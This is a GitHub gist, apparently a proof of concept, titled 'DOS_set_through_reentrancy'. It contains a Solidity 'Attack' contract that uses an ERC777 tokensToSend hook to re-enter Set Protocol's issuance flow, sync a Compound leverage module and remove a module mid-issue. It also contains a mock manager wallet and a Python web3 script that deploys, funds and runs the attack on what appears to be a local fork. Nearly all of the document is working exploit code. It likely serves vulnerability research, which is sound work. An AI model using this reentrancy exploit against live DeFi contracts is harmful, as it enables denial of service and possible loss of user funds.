-
-
Save Jonah246/13e58b59765c0334189c99a9f29c6dab to your computer and use it in GitHub Desktop.
DOS_set_through_reentrancy
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity 0.6.10; | |
pragma experimental "ABIEncoderV2"; | |
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; | |
import { IERC777 } from "@openzeppelin/contracts/token/ERC777/IERC777.sol"; | |
import { IERC777Recipient } from "@openzeppelin/contracts/token/ERC777/IERC777Recipient.sol"; | |
import { IERC777Sender } from "@openzeppelin/contracts/token/ERC777/IERC777Sender.sol"; | |
import { IERC1820Registry } from "@openzeppelin/contracts/introspection/IERC1820Registry.sol"; | |
import { ISetToken } from "../interfaces/ISetToken.sol"; | |
import { MockManagerWallet } from "./MockManagerWallet.sol"; | |
import "hardhat/console.sol"; | |
interface CompoundLeverageModuleLike { | |
function sync(ISetToken _setToken, bool _shouldAccrueInterest) external; | |
} | |
interface IssuanceModuleLike { | |
function issue( | |
ISetToken _setToken, | |
uint256 _quantity, | |
address _to | |
) external; | |
function redeem( | |
ISetToken _setToken, | |
uint256 _quantity, | |
address _to | |
) external; | |
} | |
contract Attack is IERC777Recipient { | |
ISetToken setToken; | |
CompoundLeverageModuleLike compoundModule; | |
IssuanceModuleLike issueModule; | |
IERC1820Registry constant internal _ERC1820_REGISTRY = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); | |
IERC20 CETH = IERC20(0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5); | |
MockManagerWallet manager; | |
IERC20 cToken; | |
IERC20 wfCash; | |
bytes32 private constant _TOKENS_SENDER_INTERFACE_HASH = keccak256("ERC777TokensSender"); | |
bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH = keccak256("ERC777TokensRecipient"); | |
constructor( | |
ISetToken _setToken, | |
CompoundLeverageModuleLike _compoundModule, | |
IssuanceModuleLike _issueModule, | |
IERC20 _cToken, | |
IERC20 _wfCash, | |
MockManagerWallet _manager | |
) public { | |
setToken = _setToken; | |
compoundModule = _compoundModule; | |
issueModule = _issueModule; | |
cToken = _cToken; | |
wfCash = _wfCash; | |
manager = _manager; | |
} | |
function register() public { | |
_ERC1820_REGISTRY.setInterfaceImplementer(address(this), _TOKENS_SENDER_INTERFACE_HASH, address(this)); | |
_ERC1820_REGISTRY.setInterfaceImplementer(address(this), _TOKENS_SENDER_INTERFACE_HASH, address(this)); | |
} | |
function attack(uint256 _amount) external { | |
cToken.approve(address(issueModule), uint256(-1)); | |
wfCash.approve(address(issueModule), uint256(-1)); | |
issueModule.issue(setToken, _amount, address(this)); | |
} | |
function tokensToSend( | |
address operator, | |
address from, | |
address to, | |
uint256 amount, | |
bytes calldata userData, | |
bytes calldata operatorData | |
) external { | |
console.logInt(setToken.getDefaultPositionRealUnit(address(cToken))); | |
compoundModule.sync(setToken, false); | |
console.logInt(setToken.getDefaultPositionRealUnit(address(cToken))); | |
manager.removeModule(address(setToken)); | |
} | |
function tokensReceived( | |
address operator, | |
address from, | |
address to, | |
uint256 amount, | |
bytes calldata userData, | |
bytes calldata operatorData | |
) external override { | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity 0.6.10; | |
pragma experimental "ABIEncoderV2"; | |
interface CompoundModuleLike { | |
function initialize( | |
address _setToken, | |
address[] memory _collateralAssets, | |
address[] memory _borrowAssets | |
) external; | |
} | |
interface NotionalModuleLike { | |
function initialize( | |
address _setToken | |
) external; | |
} | |
interface DebtIssuanceModuleLike { | |
function initialize( | |
address _setToken, | |
uint256 _maxManagerFee, | |
uint256 _managerIssueFee, | |
uint256 _managerRedeemFee, | |
address _feeRecipient, | |
address _managerIssuanceHook | |
) external; | |
} | |
interface SetTokenLike { | |
function removeModule(address _module) external; | |
} | |
contract MockManagerWallet { | |
CompoundModuleLike compoundModule; | |
NotionalModuleLike notionalModule; | |
DebtIssuanceModuleLike issuanceModule; | |
SetTokenLike set; | |
constructor(address _compound, address _notional, address _issue) public { | |
compoundModule = CompoundModuleLike(_compound); | |
notionalModule = NotionalModuleLike(_notional); | |
issuanceModule = DebtIssuanceModuleLike(_issue); | |
// set = SetTokenLike(_set); | |
} | |
function initializeDebtIssuance( | |
address _setToken, | |
uint256 _maxManagerFee, | |
uint256 _managerIssueFee, | |
uint256 _managerRedeemFee, | |
address _feeRecipient, | |
address _managerIssuanceHook | |
) public { | |
issuanceModule.initialize(_setToken, _maxManagerFee, _managerIssueFee, _managerRedeemFee, _feeRecipient, _managerIssuanceHook); | |
} | |
function initializeCompound( | |
address _setToken, | |
address[] memory _collateralAssets, | |
address[] memory _borrowAssets) public { | |
compoundModule.initialize(_setToken, _collateralAssets, _borrowAssets); | |
} | |
function intializeNotional(address _setToken) public { | |
notionalModule.initialize(_setToken); | |
} | |
function removeModule(address setToken) public { | |
SetTokenLike(setToken).removeModule(address(compoundModule)); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# deploy manager | |
manager = deploy_contract(open_build('MockManagerWallet', 'attack'), | |
compound_module.address, notionalTradeModule.address, debtIssuanceModule.address) | |
## deploy setToken and initialize | |
tx_hash = setTokenCreator.functions.create( | |
[cdai.address, wrapper.address], | |
[10**cdai.functions.decimals().call() ,10 ** wrapper.functions.decimals().call()], | |
[debtIssuanceModule.address, compound_module.address, notionalTradeModule.address], | |
manager.address, "SET TOKEN", "SET" | |
).transact() | |
receipt = w3.eth.getTransactionReceipt(tx_hash) | |
setToken = w3.eth.contract( | |
abi=open_build('SetToken', 'protocol')['abi'], | |
address=setTokenCreator.events.SetTokenCreated().processReceipt(receipt)[0]['args']['_setToken']) | |
manager.functions.initializeDebtIssuance( | |
setToken.address, | |
10**17, # 0.1 ether | |
0, | |
0, | |
user, | |
managerIssuanceMock.address).transact() | |
compound_module.functions.updateAllowedSetToken(setToken.address, True).transact() | |
manager.functions.initializeCompound(setToken.address, [dai.address], [dai.address]).transact() | |
notionalTradeModule.functions.updateAllowedSetToken(setToken.address, True).transact() | |
manager.functions.intializeNotional(setToken.address).transact() | |
deposit_amount = 100 * 10**18 | |
mint_dai(user, deposit_amount * 2) | |
dai.functions.approve(wrapper.address, deposit_amount).transact() | |
wrapper.functions.deposit(deposit_amount, user).transact() | |
dai.functions.approve(cdai.address, 2**255).transact() | |
cdai.functions.mint(deposit_amount).transact() | |
cdai.functions.approve(debtIssuanceModule.address, 2**255).transact() | |
wrapper.functions.approve(debtIssuanceModule.address, 2**255).transact() | |
dai.functions.approve(debtIssuanceModule.address, 2**255).transact() | |
debtIssuanceModule.functions.issue(setToken.address, deposit_amount, user).transact() | |
## before attack | |
before_attack_snapshotId = w3.provider.make_request("evm_snapshot", [])['result'] | |
attack = deploy_contract( | |
open_build('Attack', 'attack'), | |
setToken.address, | |
compound_module.address, | |
debtIssuanceModule.address, | |
cdai.address, | |
wrapper.address, | |
manager.address | |
) | |
deposit_amount = 100 * 10**18 | |
fcash_amount = 100 * 10**8 | |
mint_dai(user, deposit_amount * 2) | |
dai.functions.approve(wrapper.address, deposit_amount).transact() | |
wrapper.functions.deposit(deposit_amount, user).transact() | |
wrapper.functions.transfer(attack.address, fcash_amount).transact() | |
dai.functions.approve(cdai.address, 2**255).transact() | |
cdai.functions.mint(deposit_amount).transact() | |
cdai.functions.transfer(attack.address, fcash_amount).transact() | |
attack.functions.register().transact() | |
attack.functions.attack(50 * 10**18).transact() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment